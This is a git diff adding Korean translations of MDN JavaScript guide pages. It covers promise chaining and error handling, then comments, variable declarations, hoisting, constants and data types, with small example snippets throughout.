+</pre>
+
+<p><strong>참고:</strong> "Do this" 텍스트가 출력되지 않은 것을 주의깊게 보십시오. "Something failed" 에러가 rejection을 발생시켰기 때문입니다.</p>
+
+<h2 id="Error_propagation">Error propagation</h2>
+
+<p>'콜백 지옥'에서 <code>failureCallback</code>이 3번 발생한 것을 기억 할 것입니다. promise chain에서는 단 한 번만 발생하는것과 비교되죠.</p>
+
+<pre class="notranslate"><code>doSomething()
+.then(result =&gt; doSomethingElse(result))
+.then(newResult =&gt; doThirdThing(newResult))
+.then(finalResult =&gt; console.log(`Got the final result: ${finalResult}`))
+.catch(failureCallback);</code></pre>
+
+<p>기본적으로 promise chain은 예외가 발생하면 멈추고 chain의 아래에서 catch를 찾습니다. 이것은 동기 코드가 어떻게 동작 하는지 모델링 한 것입니다.</p>
+
+<pre class="notranslate"><code>try {
+  const result = syncDoSomething();
+  const newResult = syncDoSomethingElse(result);
+  const finalResult = syncDoThirdThing(newResult);
+  console.log(`Got the final result: ${finalResult}`);
+} catch(error) {
+  failureCallback(error);
+}</code></pre>
+
+<p>비동기 코드를 사용한 이러한 대칭성은 ECMAScript 2017에서 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> 구문(Syntactic sugar) 에서 최고로 느낄 수 있습니다.</p>
+
+<pre class="notranslate"><code>async function foo() {
+  try {
+    const result = await doSomething();
+    const newResult = await doSomethingElse(result);
+    const finalResult = await doThirdThing(newResult);
+    console.log(`Got the final result: ${finalResult}`);
+  } catch(error) {
+    failureCallback(error);
+  }
+}</code></pre>
+
+<p>이것은 promise를 기반으로 합니다. <code>doSomething()</code>은 이전 함수와 같습니다. 문법은 <a href="https://developers.google.com/web/fundamentals/getting-started/primers/async-functions">이곳</a>에서 확인 할 수 있습니다.</p>
+
+<p>Promise는 모든 오류를 잡아내어, 예외 및 프로그래밍 오류가 발생해도 콜백 지옥의 근본적인 결함을 해결합니다. 이는 비동기 작업의 기능 구성에 필수적입니다.</p>
+
+<h2 id="Promise_rejection_events">Promise rejection events</h2>
+
+<p>Promise가 reject될 때마다 두 가지 이벤트 중 하나가 전역 범위에 발생합니다.(일반적으로, 전역 범위는 {{domxref("window")}}거나, 웹 워커에서 사용되는 경우, {{domxref("Worker")}}, 혹은 워커 기반 인터페이스입니다.) 두 가지 이벤트는 다음과 같습니다.</p>
+
+<dl>
+ <dt>{{domxref("Window.rejectionhandled_event", "rejectionhandled")}}</dt>
+ <dd>executor의 <code>reject</code>함수에 의해 reject가 처리 된 후 promise가 reject 될 때 발생합니다.</dd>
+ <dt>{{domxref("Window.unhandledrejection_event", "unhandledrejection")}}</dt>
+ <dd>promise가 reject되었지만 사용할 수 있는 reject 핸들러가 없을 때 발생합니다.</dd>
+</dl>
+
+<p>({{domxref("PromiseRejectionEvent")}} 유형인) 두 이벤트에는 멤버 변수인 promise와 reason 속성이 있습니다. {{domxref ( "PromiseRejectionEvent.promise", "promise")}}는 reject된 promise를 가리키는 속성이고, {{domxref ( "PromiseRejectionEvent.reason", "reason")}}은 promise가 reject된 이유를 알려 주는 속성입니다.</p>
+
+<p>이들을 이용해 프로미스에 대한 에러 처리를 대체(fallback)하는 것이 가능해지며, 또한 프로미스 관리시 발생하는 이슈들을 디버깅하는 데 도움을 얻을 수 있습니다. 이 핸들러들은 모든 맥락에서 전역적(global)이기 때문에, 모든 에러는 발생한 지점(source)에 상관없이 동일한 핸들러로 전달됩니다.</p>
+
+<p>특히 유용한 사례 : {{Glossary("Node.js")}}로 코드를 작성할 때, 흔히 프로젝트에서 사용하는 모듈이 reject된 프로미스를 처리하지 않을 수 있습니다. 이런 경우 노드 실행시 콘솔에 로그가 남습니다. 이를 수집에서 분석하고 직접 처리할 수도 있습니다. 아니면 그냥 콘솔 출력을 어지럽히는 것을 막기 위해 그럴 수도 있죠. 이런 식으로 {{domxref("Window.unhandledrejection_event", "unhandledrejection")}}(<a href="/en-US/docs/Web/API/Window/unhandledrejection_event">영어</a>) 이벤트를 처리하는 핸들러를 추가하면 됩니다.</p>
+
+<pre class="notranslate"><code>window.addEventListener("unhandledrejection", event =&gt; {
+  /* You might start here by adding code to examine the
+     promise specified by event.promise and the reason in
+     event.reason */
+
+  event.preventDefault();
+}, false);</code></pre>
+
+<p>이벤트의 {{domxref("Event.preventDefault", "preventDefault()")}} 메서드를 호출하면 reject 된 프로미스가 처리되지 않았을 때 JavaScript 런타임이 기본 동작을 수행하지 않습니다. 이 기본 동작은 대개 콘솔에 오류를 기록하는 것이기 때문에, 이것은 확실히 NodeJS를 위한 것이죠.</p>
+
+<p>제대로 하려면, 당연한 말이지만, 이 이벤트를 그냥 무시해버리기 전에 reject된 프로미스 코드에 실제로 버그가 없는지 확실히 검사해야 합니다.</p>
+
+<h2 id="오래된_콜백_API를_사용하여_Promise만들기">오래된 콜백 API를 사용하여 Promise만들기</h2>
+
+<p>{{jsxref ( "Promise")}}는 생성자를 사용하여 처음부터 생성 될 수 있습니다. 이것은 오래된 API를 감쌀 때만 필요합니다.</p>
+
+<p>이상적인 프로그래밍 세계에서는 모든 비동기 함수는 promise을 반환해야 하지만. 불행히도 일부 API는 여전히 success 및 / 또는 failure 콜백을 전달하는 방식일거라 생각합니다.. 예를 들면 {{domxref ( "WindowTimers.setTimeout", "setTimeout ()")}} 함수가 있습니다.</p>
+
+<pre class="notranslate"><code>setTimeout(() =&gt; saySomething("10 seconds passed"), 10000);</code>
+</pre>
+
+<p>예전 스타일의 콜백과 Promise를 합치는것 문제가 있습니다. 함수 <code>saySomething()</code>이 실패하거나 프로그래밍 오류가 있으면 아무 것도 잡아 내지 않습니다. <code>setTimeout</code>의 문제점 입니다.</p>
+
+<p>다행히도 우리는 <code>setTimeout</code>을 Promise로 감쌀 수 있습니다. 가장 좋은 방법은 가능한 가장 낮은 수준에서 문제가되는 함수를 래핑 한 다음 다시는 직접 호출하지 않는 것입니다.</p>
+
+<pre class="notranslate"><code>const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait(10000).then(() =&gt; saySomething("10 seconds")).catch(failureCallback);</code>
+</pre>
+
+<p>기본적으로 promise constructor는 promise를 직접 해결하거나 reject 할 수 있는 실행자 함수를 사용합니다. <code>setTimeout()</code>은 함수에서 fail이 일어나거나 error가 발생하지 않기 때문에 이 경우 reject를 사용하지 않습니다.</p>
+
+<h2 id="Composition">Composition</h2>
+
+<p>{{jsxref ( "Promise.resolve ()")}}와 {{jsxref ( "Promise.reject ()")}}는 각각 이미 resolve되거나 reject 된 promise를 여러분이 직접 생성하기위한 바로 가기입니다. 가끔 유용하게 사용됩니다.</p>
+
+<p>{{jsxref("Promise.all()")}}와 {{jsxref("Promise.race()")}}는 비동기 작업을 병렬로 실행하기위한 두 가지 구성 도구입니다.</p>
+
+<p>우리는 병렬로 작업을 시작하고 모든 작업이 다음과 같이 끝날 때까지 기다릴 수 있습니다.</p>
+
+<pre class="notranslate"><code>Promise.all([func1(), func2(), func3()])
+.then(([result1, result2, result3]) =&gt; { /* use result1, result2 and result3 */ });</code></pre>
+
+<p>Sequential composition is possible using some clever JavaScript:</p>
+
+<p>고급진 JavaScript를 사용하여 순차적 구성이 가능합니다.</p>
+
+<pre class="notranslate"><code>[func1, func2, func3].reduce((p, f) =&gt; p.then(f), Promise.resolve())
+.then(result3 =&gt; { /* use result3 */ });</code>
+</pre>
+
+<p>기본적으로 <code>Promise.resolve().then(func1).then(func2).then(func3);</code>과 같은 약속 체인으로 비동기 함수 배열을 축소합니다.</p>
+
+<p>이것은 재사용 가능한 작성 기능으로 만들 수 있는데, 이는 함수형 프로그래밍에서 일반적인 방식입니다.</p>
+
+<pre class="notranslate"><code>const applyAsync = (acc,val) =&gt; acc.then(val);
+const composeAsync = (...funcs) =&gt; x =&gt; funcs.reduce(applyAsync, Promise.resolve(x));</code>
+</pre>
+
+<p><code>composeAsync()</code> 함수는 여러 함수를 인수로 받아들이고 composition 파이프 라인을 통해 전달되는 초기 값을 허용하는 새 함수를 반환합니다.</p>
+
+<pre class="notranslate"><code>const transformData = composeAsync(func1, func2, func3);
+const result3 = transformData(data);</code>
+</pre>
+
+<p>ECMAScript 2017에서는 async / await를 사용하여 순차적 구성을보다 간단하게 수행 할 수 있습니다.</p>
+
+<pre class="notranslate"><code>let result;
+for (const f of [func1, func2, func3]) {
+  result = await f(result);
+}
+/* use last result (i.e. result3) */</code></pre>
+
+<h2 id="Timing">Timing</h2>
+
+<p>To avoid surprises, functions passed to <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code> will never be called synchronously, even with an already-resolved promise:</p>
+
+<p>놀라움(역자 주. 에러가 난다거나, 코드가 문제가 생긴다거나..했을때의 그 놀라움..)을 피하기 위해 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then">then()</a></code>에 전달 된 함수는 already-resolved promise에 있는 경우에도 동기적으로 호출되지 않습니다.</p>
+
+<pre class="notranslate"><code>Promise.resolve().then(() =&gt; console.log(2));
+console.log(1); // 1, 2</code>
+</pre>
+
+<p>즉시 실행되는 대신 전달 된 함수는 마이크로 태스크 대기열에 저장됩니다. 즉, 자바 스크립트 이벤트 루프의 현재 실행이 끝날 때 대기열이 비면 나중에 실행됩니다.</p>
+
+<pre class="notranslate"><code>const wait = ms =&gt; new Promise(resolve =&gt; setTimeout(resolve, ms));
+
+wait().then(() =&gt; console.log(4));
+Promise.resolve().then(() =&gt; console.log(2)).then(() =&gt; console.log(3));
+console.log(1); // 1, 2, 3, 4</code></pre>
+
+<h2 id="Nesting">Nesting</h2>
+
+<div class="blockIndicator note">
+<p>역자 주. 아래부분에 대한 번역이 미흡합니다. 원문을 참고해 주세요</p>
+</div>
+
+<p>간단한 promise 체인은 중첩이 부주의 한 구성의 결과 일 수 있으므로 중첩하지 않고 평평하게 유지하는 것이 가장 좋습니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises#Common_mistakes">common mistakes</a>를 참조하십시오.</p>
+
+<p>(Simple promise chains are best kept flat without nesting, as nesting can be a result of careless composition. See <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Using_promises#Common_mistakes">common mistakes</a>.)</p>
+
+<p>중첩은 <code>catch</code> 문 범위를 제한하는 제어 구조입니다. 특히, 중첩 된 <code>catch</code>는 중첩 된 범위 외부의 체인에있는 오류가 아닌 범위 및 그 이하의 오류 만 잡습니다. 올바르게 사용하면 오류 복구에서보다 정확한 결과를 얻을 수 있습니다.</p>
+
+<pre class="notranslate"><code>doSomethingCritical()
+.then(result =&gt; doSomethingOptional(result)
+  .then(optionalResult =&gt; doSomethingExtraNice(optionalResult))
+  .catch(e =&gt; {})) // Ignore if optional stuff fails; proceed.
+.then(() =&gt; moreCriticalStuff())
+.catch(e =&gt; console.log("Critical failure: " + e.message));</code>
+</pre>
+
+<p>여기에 있는 선택적 단계는 들여 쓰기가 아닌 중첩되어 있지만 주위의 바깥 쪽 <code>(</code> 및 <code>)</code> 의 규칙적이지 않은 배치를 하지않도록 조심하세요.</p>
+
+<p>inner neutralizing <code>catch</code> 문은 <code>doSomethingOptional()</code>및 <code>doSomethingExtraNice()</code>에서 발생한 오류를 catch 한 후에 코드가 <code>moreCriticalStuff()</code>로 다시 시작됩니다. 중요하게도 <code>doSomethingCritical()</code>이 실패하면 해당 오류는 최종 (외부) <code>catch</code>에 의해서만 포착됩니다.</p>
+
+<h2 id="Common_mistakes">Common mistakes</h2>
+
+<p>promise chains을 작성할 때 주의해야 할 몇 가지 일반적인 실수는 다음과 같습니다. 이러한 실수 중 몇 가지는 다음 예제에서 나타납니다.</p>
+
+<pre class="notranslate"><code>// Bad example! Spot 3 mistakes!
+
+doSomething().then(function(result) {
+  doSomethingElse(result) // Forgot to return promise from inner chain + unnecessary nesting
+  .then(newResult =&gt; doThirdThing(newResult));
+}).then(() =&gt; doFourthThing());
+// Forgot to terminate chain with a catch!</code>
+</pre>
+
+<p>첫 번째 실수는 제대로 체인을 연결하지 않는 것입니다. 이것은 우리가 새로운 promise를 만들었지 만 그것을 반환하는 것을 잊었을때 일어납니다. 결과적으로 체인이 끊어 지거나 오히려 두 개의 독립적 인 체인이 경쟁하게됩니다. 즉, <code>doFourthThing()</code>은 <code>doSomethingElse()</code> 또는 <code>doThirdThing()</code>이 완료 될 때까지 기다리지 않고 의도하지 않은 것처럼 병렬로 실행됩니다. 별도의 체인은 별도의 오류 처리 기능을 가지고있어서 잡기 어려운 오류가 발생합니다.</p>
+
+<p>두 번째 실수는 불필요하게 중첩되어 첫 번째 실수를 가능하게 만드는 것입니다. 중첩은 내부 오류 처리기의 범위를 제한합니다. 의도하지 않은 경우 에러가 캐치되지 않는 오류가 발생할 수 있습니다. 이 변형은 <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">promise constructor anti-pattern</a>입니다.이 패턴은 이미 약속을 사용하는 코드를 감싸기 위해 promise 생성자의 중복 사용과 중첩을 결합합니다.</p>
+
+<p>세 번째 실수는 <code>catch</code>로 체인을 종료하는 것을 잊는 것입니다. 약속되지 않은 약속 체인은 대부분의 브라우저에서 예상하지 못한 약속 거부를 초래합니다.</p>
+
+<p>좋은 경험 법칙은 항상 약속의 사슬을 반환하거나 종결하는 것이며, 새로운 약속을 얻 자마자 즉각적으로 돌려서 물건을 평평하게하는 것입니다.</p>
+
+<pre class="notranslate"><code>doSomething()
+.then(function(result) {
+  return doSomethingElse(result);
+})
+.then(newResult =&gt; doThirdThing(newResult))
+.then(() =&gt; doFourthThing())
+.catch(error =&gt; console.log(error));</code></pre>
+
+<p><code>() =&gt; x</code> 은  <code>() =&gt; { return x; }</code>.의 축약형임을 참고하세요</p>
+
+<p>이제는 적절한 오류 처리 기능을 갖춘 결정성있는 단일 체인이 있습니다.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a>를 사용하면 대부분의 문제를 해결할 수 있습니다. 이러한 문법의 가장 흔한 실수는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>await</code></a>키워드를 빼먹는 것입니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Promise.then()")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> </li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Nolan Lawson: We have a problem with promises — Common mistakes with promises</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p>
diff --git a/files/ko/web/javascript/guide/values,_variables,_and_literals/index.html b/files/ko/web/javascript/guide/values,_variables,_and_literals/index.html
new file mode 100644
index 0000000000..629cbd069a
--- /dev/null
+++ b/files/ko/web/javascript/guide/values,_variables,_and_literals/index.html
@@ -0,0 +1,708 @@
+---
+title: 문법과 자료형
+slug: 'Web/JavaScript/Guide/Values,_variables,_and_literals'
+tags:
+  - Guide
+  - JavaScript
+  - 'l10n:priority'
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/소개", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
+
+<p class="summary">이 장은 JavaScript의 기본 문법과 변수 선언, 자료형 및 리터럴을 다룹니다.</p>
+
+<h2 id="기본">기본</h2>
+
+<p>JavaScript는 문법의 대부분을 Java와 C, C++로부터 차용하고 있으며, Awk, Perl, Python의 영향도 받았습니다.</p>
+
+<p>JavaScript는 <strong>대소문자를 구별</strong>하며 <strong>유니코드</strong> 문자셋을 이용합니다. 따라서 다음과 같은 코드도 유효합니다.</p>
+
+<pre class="brush: js">var 갑을 = "병정";
+var Früh = "foobar"; // Früh: 독일어로 "이른"
+</pre>
+
+<p>하지만 <code>Früh</code>는 <code>früh</code>와 다릅니다. 대소문자를 구분하기 때문입니다.</p>
+
+<p>JavaScript에서는 명령을 {{Glossary("Statement", "명령문(statement)")}}이라고 부르며, 세미콜론(<code>;</code>)으로 구분합니다.</p>
+
+<p>명령문이 한 줄을 다 차지할 경우에는 세미콜론이 필요하지 않습니다. 그러나 한 줄에 두 개 이상의 명령문이 필요하다면 세미콜론으로 구분해야 합니다. ECMAScript는 세미콜론을 자동으로 삽입해 명령문을 끝내는 규칙(ASI)도 가지고 있습니다. (더 많은 정보는 JavaScript의 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar">어휘 문법 에 대한 자세한 참고서</a>를 참고하세요) 하지만, 세미콜론이 필요하지 않은 경우라도 항상 세미콜론으로 끝마치는 편이 버그 예방 차원에서 더 좋은 습관이라고 여겨집니다.</p>
+
+<p>JavaScript의 스크립트 소스는 왼쪽에서 오른쪽으로 탐색하면서 토큰, 제어 문자, 줄바꿈 문자, 주석이나 공백으로 이루어진 입력 element의 시퀀스로 변환됩니다. 스페이스, 탭, 줄바꿈 문자는 공백으로 간주됩니다.</p>
+
+<h2 id="주석">주석</h2>
+
+<p><strong>주석</strong>의 구문은 C++ 및 다른 많은 언어와 똑같습니다.</p>
+
+<pre class="brush: js">// 한 줄 주석
+
+/* 이건 더 긴,
+ * 여러 줄 주석입니다.
+ */
+
+/* 그러나, /* 중첩된 주석은 쓸 수 없습니다 */ SyntaxError */</pre>
+
+<p>주석은 공백처럼 행동하며 스크립트 실행 시 버려집니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 몇몇 자바스크립트 파일의 시작부에 <code>#!/usr/bin/env node</code>와 같은 형태의 주석 문법이 쓰이는 것을 볼 수 있습니다. 이것은 <strong>해시백 주석</strong> 문법이라고 하는데, 이 특별한 주석은 스크립트를 실행할 때 쓸 특별한 자바스크립트 인터프리터의 경로를 설정할 때 쓰입니다.  <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Hashbang_comments">해시백 주석</a>을 참고하여 자세한 내용을 확인할 수 있습니다.</p>
+</div>
+
+<h2 id="선언">선언</h2>
+
+<p>JavaScript의 선언에는 3가지 방법이 있습니다.</p>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>변수를 선언. 추가로 동시에 값을 초기화.</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>블록 범위(scope) 지역 변수를 선언. 추가로 동시에 값을 초기화.</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>블록 범위 읽기 전용 상수를 선언.</dd>
+</dl>
+
+<h3 id="변수">변수</h3>
+
+<p>어플리케이션에서 값에 상징적인 이름으로 변수를 사용합니다. 변수명은 {{Glossary("식별자(identifier)")}}라고 불리며 특정 규칙을 따릅니다.</p>
+
+<p>JavaScript 식별자는 문자, 밑줄(_) 혹은 달러 기호($)로 시작해야 하는 반면 이후는 숫자(0-9)일 수도 있습니다. JavaScript가 대소문자를 구분하기에, 문자는 "A"부터 "Z"(대문자)와 "a"부터 "z"(소문자)까지 모두 포함합니다.</p>
+
+<p>ISO 8859-1 혹은 Unicode 문자(가령 å 나 ü)도 식별자에 사용할 수 있습니다(좀 더 상세한 내용은 <a href="https://mathiasbynens.be/notes/javascript-identifiers-es6">이 블로그 글</a>을 참고). 또한 <a href="/ko/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a>도 식별자에 문자로 사용할 수 있습니다.</p>
+
+<p>적절한 이름으로는 <code>Number_hits</code>, <code>temp99, $credit</code> 및 <code>_name</code>등입니다.</p>
+
+<h3 id="변수_선언">변수 선언</h3>
+
+<p>변수 선언은 아래 3가지 방법으로 가능합니다.</p>
+
+<ul>
+ <li>{{jsxref("Statements/var", "var")}} 키워드로. 예를 들어, <code>var x = 42</code>. 이 구문은 지역 및 전역 변수를 선언하는데 모두 사용될 수 있습니다.</li>
+ <li>{{jsxref("Statements/let", "let")}} 키워드로. 예를 들어, <code>let y = 13</code>. 이 구문은 블록 범위 지역 변수를 선언하는데 사용될 수 있습니다. 아래 <a href="/ko/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#변수_범위">변수 범위</a> 참고하세요.</li>
+</ul>
+
+<p>간단히 변수에 값을 할당 할 수도 있습니다. 예를 들어, <code>x = 42 </code>와 같은 구문은 <strong><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#Description">선언되지 않는 전역변수 </a></strong>를 만듭니다. 뿐만 아니라, 자바스크립트의 엄격한 경고를 만들어냅니다. 선언되지 않은 전역변수는 의도되지 않은 동작을 만들어내고는 합니다. 따라서 선언되지 않는 전역변수를 사용하면 안됩니다.</p>
+
+<h3 id="변수_할당">변수 할당</h3>
+
+<p>지정된 초기값 없이 <code>var</code> 혹은 <code>let</code> 문을 사용해서 선언된 변수는 {{jsxref("undefined")}} 값을 갖습니다.</p>
+
+<p>선언되지 않은 변수에 접근을 시도하는 경우 {{jsxref("ReferenceError")}} 예외가 발생합니다.</p>
+
+<pre class="brush: js">var a;
+console.log("a 값은 " + a); // "a 값은 undefined"로 로그가 남음.
+
+console.log('b 값은 ' + b); // b 값은 undefined
+var b;
+
+console.log("c 값은 " + c); // ReferenceError 예외 던짐
+
+let x;
+console.log('x 값은 ' + x); // x 값은 undefined
+
+console.oog('y 값은 ' + y); // ReferenceError 예외 던짐
+let y;
+</pre>
+
+<p><code>undefined</code>를 사용하여 변수값이 있는지 확인할 수 있습니다. 아래 코드에서, <code>input</code> 변수는 값이 할당되지 않았고 <code><a href="/ko/docs/Web/JavaScript/Reference/Statements/if...else">if</a></code>문은 <code>true</code>로 평가합니다.</p>
+
+<pre class="brush: js">var input;
+if(input === undefined) {
+  doThis();
+} else {
+  doThat();
+}
+</pre>
+
+<p><code>undefined</code> 값은 <code>boolean</code> 문맥(context)에서 사용될 때 <code>false</code>로 동작합니다. 예를 들어, 아래 코드는 <code>myArray</code> 요소가 <code>undefined</code>이므로 <code>myFunction</code> 함수를 실행합니다.</p>
+
+<pre class="brush: js">var myArray = [];
+if (!myArray[0]) myFunction();
+</pre>
+
+<p><code>undefined</code> 값은 수치 문맥에서 사용될 때 <code>NaN</code>으로 변환됩니다.</p>
+
+<pre class="brush: js">var a;
+a + 2; // NaN으로 평가</pre>
+
+<p>{{jsxref("null")}} 값을 평가할 때, 수치 문맥에서는 0으로, <code>boolean</code> 문맥에서는 <code>false</code>로 동작합니다. 예를 들면,</p>
+
+<pre class="brush: js">var n = null;
+console.log(n * 32); // 콘솔에 0 으로 로그가 남음.
+</pre>
+
+<h3 id="변수_범위">변수 범위</h3>
+
+<p>어떤 함수의 바깥에 변수를 선언하면, 현재 문서의 다른 코드에 해당 변수를 사용할 수 있기에 <em>전역</em> 변수라고 합니다. 만약 함수 내부에 변수를 선언하면, 오직 그 함수 내에서만 사용할 수 있기에 <em>지역</em> 변수라고 부릅니다.</p>
+
+<p>ECMAScript 6 이전의 JavaScript는 <a href="/ko/docs/Web/JavaScript/Guide/Control_flow_and_error_handling#Block_문">block 문</a> 범위가 없습니다. 그래서 오히려, 블록 내에 선언된 변수는 그 블록 내에 존재하는 <em>함수(혹은 전역 범위)</em>에 지역적입니다. 예를 들어서 아래의 코드는 5라는 로그를 남깁니다. <code>x</code>의 범위가 이 경우 <code>if</code>문 블록이 아니라 x가 선언된 함수(나 전역 문맥)이기 때문입니다.</p>
+
+<pre class="brush: js">if (true) {
+  var x = 5;
+}
+console.log(x); // 5
+</pre>
+
+<p>ECMAScript 6에 도입된 <code>let</code> 선언을 사용했을 때, 이 동작은 바뀌었습니다.</p>
+
+<pre class="brush: js">if (true) {
+  let y = 5;
+}
+console.log(y); // ReferenceError: y is not defined</pre>
+
+<h3 id="변수_호이스팅">변수 호이스팅</h3>
+
+<p>또 다른 JavaScript 변수의 특이한 점은 예외를 받지 않고도, 나중에 선언된 변수를 참조할 수 있다는 것입니다. 이 개념은 <strong>호이스팅</strong>(hoisting)으로 알려져 있습니다. 즉 JavaScript 변수가 어떤 의미에서 "끌어올려지거"나 함수나 문의 최상단으로 올려지는 것을 말합니다. 하지만, 끌어올려진 변수는 <code>undefined</code> 값을 반환합니다. 그래서 심지어 이 변수를 사용 혹은 참조한 후에 선언 및 초기화하더라도, 여전히 <code>undefined</code>를 반환합니다.</p>
+
+<pre class="brush: js">/**
+ * Example 1
+ */
+console.log(x === undefined); // logs "true"
+var x = 3;
+
+
+/**
+ * Example 2
+ */
+// undefined 값을 반환함.
+var myvar = "my value";
+
+(function() {
+  console.log(myvar); // undefined
+  var myvar = "local value";
+})();
+</pre>
+
+<p>위 예제는 아래 예제와 동일하게 볼 수 있습니다.</p>
+
+<pre class="brush: js">/**
+ * Example 1
+ */
+var x;
+console.log(x === undefined); // logs "true"
+x = 3;
+
+/**
+ * Example 2
+ */
+var myvar = "my value";
+
+(function() {
+  var myvar;
+  console.log(myvar); // undefined
+  myvar = "local value";
+})();</pre>
+
+<p>호이스팅 때문에, 함수 내의 모든 <code>var</code> 문은 가능한 함수 상단 근처에 두는 것이 좋습니다. 이 방법은 코드를 더욱 명확하게 만들어줍니다.</p>
+
+<p>ECMAScript 2015의 let (const)는 변수를 블록의 상단으로 올리지 않습니다.<br>
+ 변수가 선언되기 전에 블록 안에서 변수를 참조하게 되면 {{jsxref("ReferenceError")}}를 발생시키게 됩니다.<br>
+ 변수는 블록 시작부터 선언이 처리될 때까지 'temporal dead zone'에 위치하게 됩니다.</p>
+
+<pre><code>console.log(x); // ReferenceError
+let x = 3;</code>
+</pre>
+
+<h3 id="함수_호이스팅">함수 호이스팅</h3>
+
+<p>함수에서는 단지 함수 선언만 상단으로 끌어올려집니다. 함수 표현식은 그렇지 않습니다.</p>
+
+<pre class="brush: js">/* 함수 선언 */
+
+foo(); // "bar"
+
+function foo() {
+  console.log('bar');
+}
+
+
+/* 함수 표현식 */
+
+baz(); // TypeError: baz is not a function
+
+var baz = function() {
+  console.log('bar2');
+};</pre>
+
+<h3 id="전역_변수">전역 변수</h3>
+
+<p>전역 변수는 사실 <em>global 객체</em>의 속성(property)입니다. 웹 페이지에서 global 객체는 {{domxref("window")}} 이므로, <code>windows.<em>variable</em></code> 구문을 통해 전역 변수를 설정하고 접근할 수 있습니다.</p>
+
+<p>그 결과, window 혹은 frame의 이름을 지정하여 한 window 혹은 frame에서 다른 window 혹은 frame에 선언된 전역 변수에 접근할 수 있습니다. 예를 들어, <code>phoneNumber</code> 라는 변수가 문서에 선언된 경우, iframe에서 <code>parent.phoneNumber</code>로 이 변수를 참조할 수 있습니다.</p>
+
+<h2 id="상수">상수</h2>
+
+<p>{{jsxref("Statements/const", "const")}} 키워드로 읽기 전용 상수를 만들 수 있습니다. 상수 식별자의 구문은 변수 식별자와 같습니다. 문자, 밑줄이나 달러 기호로 시작해야 하고 문자, 숫자나 밑줄을 포함할 수 있습니다.</p>
+
+<pre class="brush: js">const PI = 3.14;
+</pre>
+
+<p>상수는 스크립트가 실행 중인 동안 대입을 통해 값을 바꾸거나 재선언될 수 없습니다. 값으로 초기화해야 합니다.</p>
+
+<p>상수에 대한 범위 규칙은 <code>let</code> 블록 범위 변수와 동일합니다. 만약 <code>const</code> 키워드가 생략된 경우에는, 식별자는 변수를 나타내는 것으로 간주됩니다.</p>
+
+<p>상수는 같은 범위에 있는 함수나 변수와 동일한 이름으로 선언할 수 없습니다. 예를 들어,</p>
+
+<pre class="brush: js">// 오류가 발생합니다
+function f() {};
+const f = 5;
+
+// 역시 오류가 발생합니다
+function f() {
+  const g = 5;
+  var g;
+
+  //statements
+}
+</pre>
+
+<p>그러나, 상수에 할당된 객체의 속성은 보호되지 않아서 다음의 문은 문제없이 실행됩니다.</p>
+
+<pre class="brush: js">const MY_OBJECT = {'key': 'value'};
+MY_OBJECT.key = 'otherValue';
+</pre>
+
+<p>또한, 배열의 내용도 보호되지 않아서 다음의 문도 문제없이 실행됩니다.</p>
+
+<pre class="brush: js">const MY_ARRAY = ['HTML','CSS'];
+MY_ARRAY.push('JAVASCRIPT');
+console.log(MY_ARRAY); //logs ['HTML','CSS','JAVASCRIPT'];
+</pre>
+
+<h2 id="데이터_구조_및_형">데이터 구조 및 형</h2>
+
+<h3 id="데이터_형">데이터 형</h3>
+
+<p>최신 ECMAScript 표준은 7가지 데이터 형을 정의합니다.</p>
+
+<ul>
+ <li>6가지 {{Glossary("Primitive", "원시")}} 데이터 형
+  <ul>
+   <li>{{Glossary("Boolean")}}. true와 false</li>
+   <li>{{Glossary("null")}}. null 값을 나타내는 특별한 키워드. JavaScript는 대소문자를 구분하므로, null은 Null, NULL 혹은 다른 변형과도 다릅니다.</li>
+   <li>{{Glossary("undefined")}}. 값이 저장되어 있지 않은 최상위 속성.</li>
+   <li>{{Glossary("Number")}}. 정수 또는 실수형 숫자. 예:42 혹은 3.14159.</li>
+   <li>{{Glossary("String")}}. 문자열. 예:"안녕"</li>
